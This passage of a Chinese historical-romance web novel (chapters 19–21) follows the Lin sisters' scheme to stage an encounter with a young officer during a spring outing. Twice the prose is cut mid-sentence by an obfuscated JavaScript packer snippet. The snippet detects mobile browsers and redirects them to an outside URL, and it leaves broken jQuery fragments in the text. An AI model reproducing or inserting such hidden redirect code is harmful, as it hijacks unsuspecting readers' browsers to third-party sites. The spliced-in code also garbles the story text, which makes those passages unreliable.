不同于林诗情的紧张,林诗芸就像只撒了欢的兔子,一跳下墙来便活蹦乱跳的。 不过她知道此时不是她撒欢的时候,便就近去路边买了几个饼塞到了怀里,她倒也不是不想去买点心,只是一来一回的有些远,万一她误了时辰再叫先生给逮到便不好了。 轻重她还是知道的,这时候能垫吧垫吧肚子就不错了。 买完饼她便一溜烟的往回跑,墙外的地上有她专门捡来垫脚的石头,她转头瞅了瞅巷口无人经过,三两下又上了墙。 只是这次上墙破费了些功夫,她实在是又累又饿的,手心还有些隐隐作痛,身上也无甚力气了。 林诗情在下头看的心慌,就怕妹妹再摔下去,她想大声喊人来帮忙,却又怕惊动了别人,就见林诗芸已经坐在了墙上,只要翻下来便可以了。 林诗芸朝姐姐比了个安心的手势,只是那么一抬头便看到了对面楼上直勾勾望着她的身影。 那人一席白衣胜雪,锦衣玉袍,清逸出尘如仙人一般,不是叫她每次都会惊艳住的神仙哥哥又是谁。 宋晏真没想到会在这样的情况下见到林诗芸,他身在太学藏书阁的楼上,刚一站立窗前,便见对面相隔不远处一个小女娘骑坐在墙上,看到了他还也不害羞,竟还大大咧咧的冲着他摆了摆手。 待他看清女子的面容,还是不免怔愣了一瞬。 是林诗芸。 头发有些歪斜,衣衫也不甚齐整的林诗芸。 林诗芸脸上丝毫不见狼狈,认出了他后便笑着招了招手,她的笑容明艳灿烂,是他从未见过的耀眼,即使在艳阳下也是那样的明亮洒脱,充满了生命力,像是超脱了世俗的禁锢,叫他觉得心生向往…… 他脑海中突然便蹦出了那句墙头马上遥相顾…… 他轻轻扯了扯嘴角,觉得自己大概是疯了,什么墙头马上,他明明在楼上。 他刚要有所回应,便见林诗芸转身从墙上蹦了下去,同下面的林诗情不知说了些什么,姐妹俩竟然一起望向了楼上,冲着他摆了摆手便急忙牵着手跑了。 得不到回应的宋晏心中有些失落,他呆呆的望着她消失的方向,只觉得心里空落落的。 自那时起,他好似是明白了,自己为何总是会不由自主的将眼神落在林诗芸的身上。 她像是个自由又不羁的太阳,是他,从不敢尝试的模样。 至于定安侯府四位姑娘同定北侯府一众姑娘打架的事情,最终结果是,各回各家各找各妈,各挨各得罚。 定安侯同忠勇侯侯两个因着自家女儿还差点在女学打起来,虽说已经下了学,那动静还是将在太学一日游的太子宋昶和宋晏给引来了…… 宋晏这才知晓,小丫头又打架了。 还是因为她的姐姐们。 宋晏看了眼站在自家长辈身后的林诗芸,小丫头一直抿着嘴摸着肚子,应是饿了。 他又细细打量了两眼,别说,这次小丫头还是没咋吃亏的,明显定北侯那一方的受伤更严重一些。 没憋住抽了抽唇角,又在看到小丫头摸肚子的小动作之后终于没忍住对太子使颜色。 太子宋昶接收到眼神立马会意,还饶有兴致的打量了宋晏刚才看的方向,哦……有事啊。 太子还是很懂堂弟的,迅速制止了这场闹剧,又安抚了院长几句便叫双方离开了。 只是不免会揶揄宋晏几句,太子大宋晏四岁,很是看中这个堂弟,对于这个平日里总是端着的堂弟看中的姑娘也是颇为好奇的。 于是待上了马车,太子便直接问道,“定安侯府上的几位姑娘确相貌确实不俗,晏弟看中了哪个啊?” 宋晏被太子突如其来地问题问懵住了,看中? 不,他不是看中。 是钟意,是喜欢。 他是喜欢芸儿妹妹的,对,他定是喜欢芸儿妹妹的。 宋晏喝了口茶才慢悠悠回道,“最小那个。” 也是最好看的那个。 小又如何,他可以等她,一起长大。 19. 第 19 章 今日正是初一,是各院给祖母请安的日子。 老太太向来不是个磋磨人的,小辈们除了初一十五的例行请安,平日都是各院过各院的日子。 一大早林诗芸便被丫鬟从床上给挖了起来,简单地收拾了之后便马不停蹄跟姐姐一起去了母亲院里,又同母亲二哥小弟他们一起去给祖母请安。 林诗芸是真的不想起,昨日姐妹四个商量到了很晚,要不是大伯母差了婆子硬将大姐姐给叫走了,大姐姐怕是要睡在她院里。 父亲上朝去了,父女二人已经有些日子没碰面了。 不过林诗芸有姐万事足,两辈子了也没什么恋父情节,对此不甚在意。 阶下草犹短,墙头梨花白。 春光正好,一路上各色花儿开的正艳,一面墙头的梨花伸了出来,风儿吹过吹落了一地的花瓣,似雪又似白纱,忽而起伏忽而飘散。 林诗芸抱着姐姐的胳膊,一边打着哈欠一边漫不经心地打量着那一地的花瓣,风吹不吹的都落一地,这多浪费啊,她要不要抽空捡一些酿些酒来喝喝? 这辈子锦衣玉食的,下厨的经验基本上是没有的,她倒是根据上辈子的记忆折腾过些点心出来,还挺得姐妹们喜欢的。 梨花酿桃花酿的,做起来并不费事,她的生辰在秋日,很快便及笄了,父亲母亲早就准许她和姐姐喝些果酒,母亲还时不时的会拿她刚回府时那个除夕,因着自己贪嘴闹得兄妹三个醉酒的事情笑话她呢。 捂着嘴又打了个还欠,点点头,她要酿出世上最好喝的花瓣酒来同姐姐分享,这么想着困意也便消散了。 林诗情早就习惯了妹妹晨起懒散的模样,连走在二人身旁的二哥林景明也颇为无奈地瞧了四妹妹一眼,并未说些什么,只微微叹了口气。 林诗芸感受到二哥哥的目光,顿时扬起了小脸,眼睛弯成了月牙,直将困出的眼泪给挤了两滴出来。 林景明也不嫌弃,憋着笑拿帕子帮林诗芸将眼泪擦了个干净。 林诗芸眯着眼睛享受二哥哥的温暖,心中直感叹林家人可真会长啊。 二哥哥林景明虽说有些古板,但模样确实是可以的,说不上俊美,但可以说是丰神俊朗,面容刚毅,用现代人的话来说,就是很直男的长相,钢铁直那种。 林景明的五官是随了父亲的,但是身材更高大一些。 本是学武的好材料,可惜啊,古板二哥只一心扑在了学问上。 林景明今年也是要同世子大哥一起下场参加秋闱的,在学问上,定安侯府这两位公子可算是小一辈世家子弟中的翘楚了。 一行人很快便到了老夫人院子。 老夫人已经是年近七十了,但身体还算硬朗,尤其是三房有了后,二房大房又相继给她添了孙儿,老太太的精气神是一日比一日好。 如今她更是在意自己的身体了,孙子孙女都到了相看的年纪,她还得看着孙儿们娶妻生子呢。 三房已经到了,林诗芸也瞧见了自己那一母同胞的亲弟弟。 别说,姐弟二人是真的有些像,尤其是那一双眼睛,谁不夸赞一句漂亮呢。 只是三房有意将二人疏远,姐弟二人平日里除了请安,其余的时候是不多见面的。 她刚回来那两年可不是这样子,两房的关系还算不错,姚氏为人和气大方,三婶娘也是经常去找母亲说话的,只是从哪一日三房就忽然断了同二房的来往了呢,林诗芸已经记不清了。 姚氏也不在意,见了面也还是和和气气的,只没了从前的亲密热略罢了。 不多时,大房便呼啦啦地进来一群人,林诗芸感叹一句,还是侯爷大伯厉害啊,要不是大伯娘拘着大伯纳妾,侯爷大伯怕是能生出一个加强排出来。 同三房一比,确实是热闹。 大房除了世子林景行,嫡次子林景晟,三子林景年,前两年抬的妾室又给他添了个儿子,只是还不到两岁,正被奶娘抱在怀里,吃着手指,一脸懵懂无知的模样。 林诗芸其实也思考过为何三房不去大房过继一个回去。 老太太看着和善,知道疯子娘又怀孕之时,怕是早就存了去母留子的心思了。 这生母在的,哪有没了生母的好掌控。 这深宅大院,哪有不吃人的呢。 请安后便是一同在老太太院里用早膳,姐妹四个坐在一处,彼此一个眼神便心照不宣的实施四人商量好的计策。 第一步,便是搞定陪同人选,林诗芸的三哥林景晟。 为何选林景晟呢,当然是这人玩心甚大,好忽悠了。 另外有男子陪同,拿他当借口,行事也会更方便一些。 每次在老太太院里用膳,林诗芸都会被林景晟逗上几句。 倒不是林景晟欺负四妹妹,他二人生日只相差几日,每年都是在一起过生的,加上林诗芸性格开朗好奇心强,行事上也颇为大胆,林景晟总是带着林诗芸偷摸地出去玩乐,二人的感情比之亲兄妹更甚。 今日林景晟熟稔地坐在林诗芸一侧,对着吃的正香的林诗芸小声道:“四妹妹上次不是想去看斗鸡?三哥过几日休沐带你去啊,” 林诗芸确实对斗鸡很感兴趣,一听这话眼睛都亮了,忙不迭点头,却又在听到林诗瑶不轻不重的嗯了一声之后摇了摇头,想到大姐姐嘱咐自己的任务,将脑袋凑到林景晟身前小声道:“三哥哥,下次好不好,你这次休沐先陪我们姐妹去踏青可行?已经暖起来了,春山定是山花烂漫翠绿成荫,咱们一起去踏青好不好,我想猎只獐子烤来吃,春日里边赏景边烤肉,定舒爽极了。” 春山是京城南面的一处大山,山脚下还有一条河,叫春河,可谓是山美水也美。 想到春山的美景和野物,林诗芸脸上很是兴奋,眼睛也在发光,她已经很久未去山中踏青了,虽说这次是为了偶遇那位姐夫吧,但是她势必是要舒服地玩个痛快的。 林景晟只思考了一瞬便同意了,他的那群狐朋狗友可没有自家姐姐妹妹来的重要,他也好久没去山上打猎了,春景怡人,野物肥美,踏青亦是极愉悦人心的事情。 得到了肯定答案,林诗芸转身便冲着大姐姐眨了眨眼,林诗瑶会意一笑,接下来,便看她和二妹妹的了。 只是她们都没看到世子大哥也注意到了这边的动静,待他看到四妹妹和三弟凑到一起的脑袋时还轻轻扬了扬唇角,这个三弟,不知道又要带四妹妹去哪里玩闹。 罢了,三日后休沐,他问问三弟前去何处,且便带着二弟一同凑个热闹,也该叫二弟松散松散,一心死读书是不可取的。 于是早膳后前往书院的马车上,林景行在听到三弟说休沐陪同四姐妹踏青一事后,便直接敲定了兄弟三人一同前往,林景明张了张嘴,拒绝的话在看到大哥那张不容他多说的脸之后便闭上了。 林景晟耸耸肩,他是无所谓,春山那么大,哥儿几个能多打些猎物才好呢。 待到晚些时候林景行下学回来也前去同母亲说了休沐时带着弟妹们去踏青游玩的事情,程氏哪有不同意的,大儿子心思缜密,行事稳妥,真的是没有一处不叫他放心的地方了。 只是这个婚事吗... 程氏刚想开口说大儿子的婚事,又想到丈夫的嘱咐,便又闭了嘴,又说了几句便叫儿子回去休息了。 林景行前些日子定做的头面也在这日顺路取了回来,他着人给四个妹妹分别送去后才摸了摸干瘪的荷包,无奈感叹了一句这钱可真不经花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15096298|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,他攒了一年的月钱这便没了。 这些姐妹几个是浑然不知的,只一晌午的功夫,在林诗瑶和林诗情的若磨硬泡之下,两位母亲终于松了口同意姐几个三日后去春山踏青。 只是护卫丫鬟婆子是少不得要多带一些的,京城的治安虽好,近些年也未发生过什么事情,但还是小心为上。 其实姐妹几个非要去春山的缘由也很简单。 林景行着人打听到的,小校尉孟云山便住在春山脚下的村子,每次休沐时孟云上都会早起去山中打猎,猎到的猎物一部分留在家中,一部分则是会卖给京城内的酒楼。 他休沐时的生活总是这般简单,早起打猎,下午进城卖猎物,再买些米面粮油生活用品,偶尔会给母亲买些药和糕点,风雨无阻。 林诗芸觉得这人还挺孝顺的。 林诗瑶可不觉得,真要孝顺就买两个仆人将他母亲接到城里来,校尉的月俸,还能养不活他一个眼盲的母亲? 林诗芸抿了抿嘴没接话,也不去理会林诗瑶的偏见。 大姐姐从小便是娇生惯养的,可谓打一出生便是在金字塔顶尖上,自是体会不到底层百姓的辛苦。 一个最低等的小校尉,月俸能有多少?若是家中母亲再有些许的不适,岂能是够用的? 她歪着头思考了一瞬,又问了一个自认为非常重要的问题,“大哥哥可说那人长相如何?是俊是丑?是高是胖?脸上有麻子没有?” 林诗情听到妹妹的问题直想笑,林诗芸曾说她是颜控,意思就是男子的出身并不重要,脸好不好看才是最重要的。 林诗意一听也来了兴趣,三人都抬眸盯着林诗瑶回答。 林诗瑶撇撇嘴,她也问大哥来着,可是大哥也没见啊,差去的人回来也只是说那小校尉相貌堂堂,身材高大,器宇轩昂,除了有点黑。 “有些黑?” 林诗芸撇了撇嘴,“黑能有多黑,总不能黑成包青天一般吧,” 说完耸了耸肩,如释重负的模样,“总归是不太丑就行了,不然叫我可笑不出来。” 林诗瑶的臭点子,叫林诗芸同人偶遇之后做个摔倒在地的动作,那人扶她一把还好,若只是望向她,她只要羞涩一笑冲人家点头问好,便可以功成身退了。 林诗芸是真的不知大姐姐为何对自己这么有信心,不过大姐姐都这么说了,她便老实的听着,真遇见了再说,她总不能真的假摔,那得多丢人啊。 她们的计划其实是这样的。 踏青是真的踏青。 姐妹几个边玩边着人去山中将孟云上给引过来,在必经之路上,恰巧林诗芸放的风筝挂到了树上,林诗芸假装摔倒,再做可怜状请求路过的孟云上帮忙将风筝给拿下来,如此,二人便也产生了交集,面对帮了自己的孟云上,林诗芸自是会笑容腼腆笑意盈盈的感谢几句。 而帮了人的孟云上,待看清林诗芸的相貌之后不免会被惊艳到,如此二人再多说几句林诗芸便可功成身退,留下孟云上在原地回忆佳人。 此事完成林诗芸便可以真的上山去找三哥哥一起打猎了,她非常期待猎几只山鸡肥兔子的吃吃,最好再打一头獐子,烤来吃最香了。 只是姐几个似乎都忘了一句话,计划哪能有变化快? 事情自然也不会按照她们所设想的发展。 而与此同时,毫不知情的宋晏刚刚踏上了出京的马车。 他此次是代替太子去一趟景州,没有十天半个月是回不来的。 解决了心事,他一次出门行的很是安心。 只是任他想破了脑袋也想不出,林家四姐妹能想出如此的馊主意来,林诗芸还敢如此的大胆,堂而皇之地去勾引“未来姐夫”... 20. 第 20 章 时间很快来到了三日后。 天公作美,这一日风和日丽,天朗气清,正是出门踏青的好日子。 因着出门游玩,姐妹四个穿的都非常的简单便于活动的衣裙,鲜艳明亮,头饰也只简单的簪了几只金簪。 林诗芸还戴上了大哥哥前日送来首饰中的一对小兔子耳坠。 这可是代表她今日一定要逮到肥兔子的心情,迫不及待胸有成竹! 她可不是什么兔兔这么可爱你怎么能兔兔的娇小姐,叫她想想,是红烧呢还是干煸呢,最好能多逮几只,都做来尝尝,自己捉的才叫美味呢! 只是四人刚一出门便傻眼了。 那高头马上一身玄衣的,不是世子大哥又是谁? 竟然还有二哥林景明? 二哥今日不读书了?太阳打西边出来了? 嗯... 林诗芸抿着嘴不说话,姐妹三个都不知这是何情况,也不敢冒然开口,只齐刷刷的将脸转向大姐姐。 林诗瑶的笑容在看到大哥的时候好似被冻住了,她在感受到妹妹们的目光后好不容易才稳住了脸上的表情,只是声音还是带了些紧张的,“大哥也同我们一起,去踏青?大哥今日无事吗?” 林景行虽觉得妹妹们的表情有些奇怪,却也没当一回事,只笑着回道:“嗯,今日无事,便陪同你们一起去游山,哥哥们做你们的护卫,快上马车吧,春山还是有些远的。” 林景晟吊儿郎当的从后头小跑着过来了,“大哥二哥你们怎得也不等等我,害得我差点晚了,” 转头见林诗瑶几个不上马车,疑惑道:“怎的还不上马车,一会出城门就挤了,这几日不少人也去春游呢,” 林诗瑶尽量叫自己平缓下来,她点点头,对着林诗芸三人道,“先上车吧,” 林诗芸三个老实的跟在林诗瑶后面上了马车,四人刚坐好,马车便行驶起来了。 车厢内只有四人,丫鬟们在后头的马车上。 四人你看看我我看看你,这,大哥二哥都来了,这计划还能实施吗? 林诗瑶表情也是一言难尽,气闷了半晌,谁知道半路上能杀出个大哥呢! 直接破罐子破摔道:“到了再说吧,反正已经安排了人去盯着那个姓孟的了,到时候见机行事,若是能将大哥他们引开还好,若是引不开...” 林诗瑶咬了咬唇,思索了片刻又道:“四妹妹不若到时直接跟着三弟进山,你箭法一向不错,身边又带着春雨,进山应是没什么危险,到时候你随便编个理由糊弄三弟再去找那个姓孟的,总得打个照面才行!” 林诗芸怯怯的看了大姐姐一眼,手胡乱地揪着衣摆,没张口说话。 对于进山她是乐意的,至于到底能不能偶遇到小校尉她也不知道。 林诗情眉头皱起,轻声道:“还是不要去见了,大哥二哥都在,尤其是大哥,若是被大哥知道了,这...” 林诗意也点头,她是不轻易拒绝大姐姐的,但是想到此事被大哥知晓的后果,也开口道:“大姐姐,这事还是不要做了,万一,” 林诗瑶却哼的一声掉起泪来,“我就知道你们没想帮我!马上便到春山了,都安排好了,你们,你们想临时逃脱吗!你们就是想看着我嫁给那个姓孟的,就是想看我吃苦,呜呜,” 眼看林诗瑶又开始摸眼泪,林诗芸三个无奈又开始哄人,最后四人商量后决定,林诗瑶和林诗意负责引开林景行和林景明,林诗情和林诗芸按原计划行事。 林诗芸抱着林诗情的胳膊假眠,她其实是理解大姐姐的,毕竟是娇小姐,平日里吃的是山珍海味,用的是绫罗绸缎,出门时香车宝马,奴仆成群。 只是她也觉得那个小校尉没有姐姐说的那么不堪,对于努力生活的人,她一向是带着几分欣赏的。 罢了罢了,她想再多也没用,刚才二姐姐捏了捏她的手心她便知晓,二姐姐叫她先答应着哄一哄大姐姐,到了再见机行事,还不知今日能不能实施那个计划呢。 悄咪咪的跟三姐姐对了个眼神,三姐姐点头,今日她定会看住大姐姐,万不能叫她闹出什么幺蛾子来。 马车一路平缓,一个时辰后终于到了春山脚下,此时踏青的人并不多。 放眼望去,春山巍峨,绿意盎然,一派勃勃生机的景象。 再看河边,春河清澈,碧波荡漾,波光粼粼,河边的柳树一排排地竖立河边,伸长了翠绿的枝蔓,时而随风摇曳,时而轻触水中。 偶有小船经过,飞鸟盘旋其上,船儿轻轻摇摆,水波荡漾,泛起阵阵涟漪。 一行人便寻了处宽敞的草地安营扎寨。 日头已经很大了。 有下人忙碌,主子们早就四散开来,林诗芸便拉着林诗情,二人一同去山坡欣赏周边美景。 春日当真是美极,一路上都有各色的野花,它们裹挟着淡淡的香气,在这一方无人注意的天地绽放着属于自己的美丽。 林诗芸觉得外头的天地是开阔的美好的,连空气里都充满了自由的味道。 林诗情心情也是极好的,姐妹俩手牵着手爬上了山坡,丫鬟们跟在后面,享受着难得的静谧时光。 林诗情咦了一声,她竟然看到了一片的油菜花。 是真的油菜花,野生的,黄灿灿的一大片。 春雨以为自家姑娘好奇,便小声解释道:“姑娘,这是油菜花,看这长势应是野生的,这个能吃呢,就是有些苦,奴婢小时候吃过的。” 林诗芸点点头,苦她就不吃了,她只是看这一大片的黄色还挺好看的。 几个小丫鬟也在说哪种野菜好吃呢。 林诗芸笑着凑了过去,好奇道:“真的吗,哪些好吃?我还未吃过野菜呢,” 只要是说到吃,她瞬时便来劲了。 几个丫鬟都是常年服侍她和姐姐的,早就已经习惯了四姑娘的模样,忙笑着指着地上的一块解释道:“好吃的,这是荠菜,姑娘若是想吃咱们来挖上一些,回府给姑娘做些馄饨来,这个可鲜美呢。” 另一个丫鬟也拿了一棵野菜来道:“这个我们老家叫灰灰菜,凉拌炒鸡蛋都好吃呢,那处有一大片,奴婢去挖些回去晚上给姑娘加菜,那边还有些能吃的野菜,一会咱们都挖一些,” 林诗芸忙笑着点头,“好呀好呀,咱们一起吃,” 说完又问道“可有趁手的工具?” 总不能用手吧,那指甲还要不要了。 就瞧着几个丫鬟给变戏法似的,竟然拿出了小铲子和小菜筐,给林诗情在一旁逗的,直捂着嘴笑。 到底是什么样的主子有什么样的丫鬟,妹妹这院里的丫鬟就想着吃了。 春雨在一旁也是笑着解释道:“她们一听要春游,前日就准备好了,就为了要挖些新鲜的野菜来吃,大家都背井离乡的,有的甚至不记得家乡在哪了...也就记得小时候吃过的味道。” 后面的话春雨说的很轻,也不知道是在说自己,还是在说她们。 林诗芸却是听见了的,她有些心酸,转头大声对众人道:“注意别伤到手,别叫虫子咬了,累了便去休息,也别走远了,晚上咱们都加菜啊,” 说完又拍了拍春雨的手,她近些日子也在想管母亲要春雨卖身契的事情,春雨姐姐大她三岁,也该放出去了。 这些事情回去再想,她们还是要先享受当下的美好时光,活在当下嘛。 姐妹二人继续在山坡上采花,林诗芸的手倒是挺巧的,用各色鲜花做了一个花环给姐姐戴在了头上,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15101537|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诗情一身天青色衣裙,头上是五颜六色的花环,周围是一片草地,背后是绿树成荫,她敞开双手面向天空转了个圈,此时此刻,她像是只自由的鸟儿,徜徉在天地之间... 林诗芸看着姐姐转圈的模样一脸的满足,她知道,只有此时,姐姐才是真正的姐姐,肆意的自由的,不用带着面具的姐姐。 是啊,深宅大院的哪个女子不是这般呢,只有少许的时间,才可以偷偷的做一回自己。 只是二人这边还未玩尽兴呢,便听到下头有吵嚷声传来。 姐妹俩听到了动静往山坡下面看去,便见几辆同样奢华的马车停在了不远处,几个衣着华贵的女子已经下了马车,正同林诗瑶等人在说些什么,动静有些大。 她们离的有些远,但是还是能听见些许地动静。 二人对视一眼,这是在,抢地盘? 林诗瑶那个臭脾气的,今日本就带着火气出来的,大哥哥万一压制不住,别再搞出事情来,不容姐妹俩多想,二人忙不迭的牵着手向山下走去。 远远的,便看清了两边的人马。 还真是不是冤家不聚头。 那边不是忠勇侯府一行人又是谁。 好在两方都是有男丁在场的,郑敏敏同林诗瑶才没有打起来。 只是场面还是不太好看就是了。 郑敏敏是个嚣张跋扈的,此时更是蛮不讲理,“你们先来的又怎样!昨日我便差人在此处做了记号的!那几块石头便是证据!” 林诗瑶都被气笑了,抱着膀子看郑敏敏无理取闹,欺负人欺负到她头上了,是可忍孰不忍!往日她都不会让她郑敏敏,今日更不会!她怕她不成! “怎么?那几块石头是你从忠勇侯府搬过来的?上边写你郑敏敏的名字了?好,你去找来,你能找出来我立马将位置让给你!” 郑敏敏自然是证明不了的,一张脸顿时气恼起来,你你了两句就要上前去推搡,后头的郑敏敏的小姑姑郑薇薇也不管,就靠在丫鬟身上看热闹。 眼看着又要打起来,林景行终于从水边赶了过来,远远的便出声制止了这场闹剧。 策马而来的忠勇侯府世子郑子墨一行人也终于赶到了,郑子墨翻身下马,大步而来,同林景行抱拳行礼,待又转头看到明显带着怒气瞪自己的林诗瑶时耳尖不自觉的红了。 见大哥盯着自己呢,林诗瑶这才不情不愿的朝郑子墨点了点头。 郑敏敏明显是怕自己家大哥的,见大哥来了立马也老实了几分。 郑子墨黑红的脸上看不出什么情绪,只沉声对着郑敏敏说了句不要无理取闹,便转身抱拳同林景行道起歉来。 “是家妹无理,本就是林兄先来的,我们自是再找地方扎营。” 林景行面上不显,心中已经有所思量,亦抱拳回道:“郑兄严重了,虽说先来后到,忠勇侯府也不是旁人,周边也确实只有此处风景最好,视野最佳,此处甚大,所谓独乐乐不如众乐乐,郑兄也一同在此处扎营便是。” 两家一直处在明面上对立的状态,此时或许是两府破冰的时机。 郑子墨面上迟疑,嘴上说着,这... 心中其实已经笑疯了,这一天终于叫他等到了吗! 郑薇薇在后头已经没憋住笑了出来,她可是看到大外甥看到林诗瑶那偷偷红了的耳尖了,于是便做了回好人,摆摆手道:“成,我也不想换地方了,便在此处扎营吧。” 郑子墨朝郑薇薇躬了躬身,“自然是听小姑姑的。” 转身对着林景行道:“如此,便叨扰了。” 这边一锤定音,那边郑薇薇便看到了不远处匆匆赶来的林诗芸姐妹,郑薇薇话头一转,“吆,这不是小牛犊子吗,叫姑姑看看,长这么大了啊。” 20-30 第21章 林诗芸听到郑薇薇的声音的那一瞬转头便想跑。 可惜已经晚了,郑薇薇已经来到了她眼前。 郑薇薇是谁? 是女学四姐妹打架那次被林诗芸上来就拿头顶翻的那位。 正所谓不打不相识,自那次后,在女学里每每遇上这位高个姑娘,林诗芸定会被翻来覆去的蹂躏几下。 郑薇薇也不记仇,相当喜欢这个直率勇敢还带了点冒失的小姑娘。 林诗芸则不然。 对于这位忠勇侯府最小的姑奶奶,林诗芸是真的无可奈何。 无它,这人脸皮太厚了,老是对她动手动脚的。 明明比她也就大个两三岁,每次都逼着自己叫她小姑姑。 虽然她确实是长辈,但是她忠勇侯府的姑奶奶,又不是自己家的,她干嘛要喊。 郑薇薇是真的喜欢林诗芸,她直接伸手将小丫头给拽到自己身边,上下打量,夸赞道:“我这才大半年未见你,怎生出落的这般好看了,珠圆玉润的,都要比我高了,” 说完手还直接摸上林诗芸光滑的小脸,“这小脸又嫩又白,还粉嘟嘟的,你们府上的好东西可是都叫你吃了吧,啧啧,还真是女大十八变,再也不是当年用尽了蛮力将我掀翻的小牛犊子了。” 林诗情看着妹妹的窘迫很是无奈,连忙上前去为妹妹解围,“小姑姑说的是,许久未见小姑姑了,听说已经定了亲,还未恭喜小姑姑呢。” 言外之意:你都已经定亲了,不日便要成亲,合该在府上绣嫁衣才是,怎的今日这么有心情出门了。 郑薇薇眼看着林诗情将林诗芸护在身后撇了撇嘴,护的真紧,她又没干什么。 郑薇薇耸了耸肩,一副无所谓的模样道:“亲事退了,觉得生活无趣,便跟着小辈们出来走走,都说此处风景优美,我便也来凑个热闹。” 众人是一脸的震惊,这,又退亲了? 若是她们记的不错的话,这是已经退了两回了 林诗情自觉失言,忙不迭道歉,女孩子,不管是高门还是平民,最怕的便是名声不好,这被退了两次亲事了,之后的婚事定是难上加难。 躲在林诗情身后的林诗芸翻了个白眼,不就退了两次亲吗,盲婚哑嫁,又没什么感情,有甚好难过的? 她从姐姐身后漏出脑袋,噘着嘴愤愤道:“作何要失落,合该感谢他们不娶之恩才是,若是真成了亲才是痛苦呢,是他们没有眼光!你不要因为别人就否定自己,你值得更好的,同你心意相通志同道合之人!好饭不怕晚!” 说完自己还点点头,嗯!好饭不怕晚! 郑薇薇鼻腔酸涩,这个小姑娘,怎么这么会说话呢,多说点,她爱听! 她又被退亲的这些日子里,听到了太多的指责和同情。 她们总说是她的问题,叫她从自身找原因。可是她想破了脑袋也没想明白自己做错什么了,呵,不过就是那些人朝三暮三的借口罢了。 对,小丫头说的对,是他们不好,他们没眼光!自己值得更好的! 林诗芸的发言不可谓不大胆。 这个时候女子的处境虽说有了些进步,但最终还是身处在男权至上的封建社会,好又能好到哪里去呢。 众人听了俱是点头,尤其几位姑娘,深以为然。 林家姐妹几个在听到林诗芸那句好饭不怕晚之后的动作出奇一致,低头抿着嘴忍笑,饶是这么多年过去了,她们也还没有习惯林诗芸在行动和言语上对吃的执着。 郑薇薇上前将林诗芸从林诗情身后给揪了出来,揉了揉孩子的头,眼眶湿润笑容真挚,“哎吆,这小牛犊子怎么这么讨人喜欢呢,真会说话。” 林诗芸怒了!“你是小牛犊子!你全家都是小牛犊子!” 这边郑薇薇对着林诗芸上下其手吵吵闹闹,那边郑敏敏同林诗瑶也不再剑拔弩张。 郑敏敏撇了撇嘴,抱着膀子对着林诗瑶哎哎两声道:“你说你妹妹怎么都这么可爱呢,又乖又懂事的,” 说完还瞅了瞅一直站在林诗瑶身旁生怕姐姐吃了亏的林诗意,还真是一个比一个讨人喜欢,长得也好看。 不像她家里的,除了争衣裳就是争首饰,净跟着自己姨娘学一些上不得台面争风吃醋的手段。 说到这些林诗瑶便得意极了,下巴高高抬起,“那是自然,也不看看是谁的妹妹!” 郑敏敏翻了个巨大的白眼,德行!接着转身去看自家几个妹妹在作甚,一看直呼好家伙,人家早就自顾自的玩起来了,是一点也不关心她这个姐姐的死活啊。 今日她就不该带这几个小贱蹄子出来! 林景行同郑子墨早已经聊起来了,只是郑子墨的眼神却是有意无意的落在林诗瑶的身上。 对于两家表面上的矛盾,一向是摆在明面上的不合,父亲确实也没少在府里骂定安侯。 其实一开始两家的关系不是这般,幼时他经常会在府上见到定安侯,并且扒着定安侯的大腿叫其一声世伯的。 是从什么时候开始两家交恶的呢。 是那次父亲大半夜的从外头回来,带着一身的酒气和一身的伤 母亲按都按不住,父亲醉着酒一直挣扎着要起来嘴里骂骂咧咧的说打死定安侯那个狗东西。 也是从那之后,父亲便退去了一身铠甲,交了军权,成了无甚实权的闲散侯爷 至于他自己,他不知是从何时心悦林诗瑶的。 或许是小时候林诗瑶将自己从泥坑里抛出来的难堪模样,也或许是在长大后某场宴会上的惊鸿一瞥。 在知晓自己的心意之后,他总是会偷偷等在她去书院的必经之路上,只为能看她一眼。 这一次,他终于来到了她的身旁,还离的这般近 林诗芸被郑薇薇闹的已经小跑着躲到了大姐姐的身后去了,几个姑娘吵吵闹闹的,裙摆翻飞,倒是比春景还要靓丽几分。 只听又一阵马蹄声传来,闹的正欢的几人也循声望去,又有人来了? 一阵爽朗笑声传来,来人翻身下了马,众人定睛一看,不是姚君远又是谁。 林诗芸瞅了自家二姐姐两眼,又朝着来人翻了个白眼,这个大表哥,就差把对二姐姐的那点小心思写脑门上了,她们只要一出门,就没有不偶遇的。 人多便又热闹了几分了。 姐妹四个好不容易寻了个间隙商讨了几句,林诗瑶气闷的跺着脚,今日真是诸事不宜,她咬着唇,最终决定放弃计划,不说别的,就看目前的情况,人越来越多,她是谁也引不开的,即使引开了,若是这事情被郑敏敏这个大嘴巴看出端倪,那她们可就真完了。 虽然想通了,但是林诗瑶还是有些郁闷的,最终只叹息一声安慰自己,不能白出门一场,还得玩个痛快才行。 “今日出门未看黄历,诸事不宜,只能下次做个万无一失的计划再行动了,走,咱们几个去放风筝去,四妹妹想进山便去吧,好不容易出来一次,便玩个尽兴。” 她心中其实也是存着侥幸心理的,万一四妹妹进山遇到了那个小校尉,这事不就解决了吗。 这么想着,林诗瑶的心情便好了很多。 今日这熟人实在是太多,男男女女的,不知道跟约好了专门来一处春游似的。 忠勇侯府来此地若说是巧合,姚君远可就真是故意跟来了。 